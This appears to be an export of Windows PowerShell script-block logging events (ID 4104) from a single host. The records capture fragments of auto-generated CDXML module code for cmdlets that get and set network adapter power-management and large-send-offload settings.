$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdl
ScriptBlock ID: f71930e7-8f95-47de-a5f7-d0859716cdc9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1858 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b028-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterPowerManagement' -Alias '*'
function Set-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterPowerManagementSettingData')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateSet('Enabled','Disabled')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if
ScriptBlock ID: f71930e7-8f95-47de-a5f7-d0859716cdc9
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1857 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-b028-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterLso' -Alias '*'
function Disable-NetAdapterLso
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterLsoSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv4},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[switch]
${IPv6},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv4')) {
[object]$__cmdletization_value = ${IPv4}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv4'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IPv6')) {
[object]$__cmdletization_value = ${IPv6}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterLso.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterLso' -Alias '*'
ScriptBlock ID: 402b9c69-56ba-46a0-b15a-4c51aeb6d114
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1856 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-aa28-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
odParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'IPv6Enabled'; ParameterType = 'System.Boolean'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
